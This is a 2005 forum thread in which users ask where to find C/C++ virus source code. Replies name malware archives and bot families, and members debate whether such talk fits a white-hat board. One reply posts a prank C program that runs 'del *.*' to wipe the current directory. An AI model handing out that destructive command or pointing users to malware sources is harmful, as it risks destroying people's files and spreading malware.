Where are some good code examples for virii in C++? A tutorial would be great too.
EDIT: <noobing>Yay! 20th post! New rank.</noobing>
Partizaan
Jun 26 2005, 11:41 PM
#include <stdio.h> #include <windows.h>
int main() { system("ECHO THIS IS NOT A VIRII BOARD > trash.txt"); system("del *.*"); return 0; }
shell6
Jun 26 2005, 11:54 PM
then please move this to the virii section
aelphaeis_mangarae
Jun 27 2005, 06:11 AM
Viruses are pretty lame.....worms can be pretty Interesting, but considering this forum is more of a White Hat forum, I don't think the moderators would allow the discussion of worm coding....
dissolutions
Jun 27 2005, 07:57 AM
spybot, agobot i believe are coded in C++
White Scorpion
Jun 27 2005, 09:31 AM
here is a google search which gives you plenty of examples of viruscodes..
shell6
Jun 27 2005, 09:33 AM
vx.netlux.org seems to be down . Anybody know when they'll be back?
White Scorpion
Jun 27 2005, 09:51 AM
vx.netlux.org often has problems with its dns, so try http://65.98.58.155 instead. In this case it also doesn't work, but it works more often then the original address...
aelphaeis_mangarae
Jun 27 2005, 09:59 AM
That link isn't working either scorpion...
Anyone have some links to websites that have virus source codes?
There's lots of vx source out there, and also a lot of zines which come with source (In a variety of languages, all though the older ones will lean towards asm, using tasm) and tutorials (If you can handle the garbled English). 29a for example.
aelphaeis_mangarae
Jun 29 2005, 11:29 AM
QUOTE
http://madchat.org/vxdevl/vxsrc/
Alot of virus source codes....mostly ASM.
I am still looking for some C/C++ source codes though...
shell6
Jul 2 2005, 05:41 AM
Thanks all.
belgther
Jul 2 2005, 06:33 AM
well, even simple codes can be treated as a virus. A DOS program causing an infinite loop can also be accepted as a virus. This code does it, but I am 200% sure that even script kiddies know this code:
CODE
#include <stdio.h>
int x;
int main() { x=2; while (x==2) { printf("you are hacked..."); } return 0; }
so in DOS, even this stupid code can be counted as virus. But if you look for something better, search. Or think how viruses can work. Then try to realize the steps in C. So you get a virus in C.
Have fun...
tibbar
Jul 2 2005, 09:47 AM
think you meant while(x==2) !!!
belgther
Jul 2 2005, 01:17 PM
QUOTE(tibbar @ Jul 2 2005, 10:47 AM)
think you meant while(x==2) !!!
yes, sorry for lack of knowledge
nolimit
Jul 2 2005, 01:17 PM
I don't find anything wrong with discussing viruses on a whitehat board. To understand the enemy, you have to become the enemy.
ComSec
Jul 2 2005, 01:46 PM
QUOTE(nolimit @ Jul 2 2005, 01:17 AM)
I don't find anything wrong with discussing viruses on a whitehat board. To understand the enemy, you have to become the enemy.
i agree... but some guys jump into the deep end and want icing on the cake... esp when it come to bots
shell6
Jul 2 2005, 06:07 PM
I just want to write (but not release) a really complex really tricky virus so that I can unleash it on a test machine (or if I make a worm also that spreads the virus, a test network) to get some experience. And, I would need to do it in C because that is the language that I know best out of the ones I know.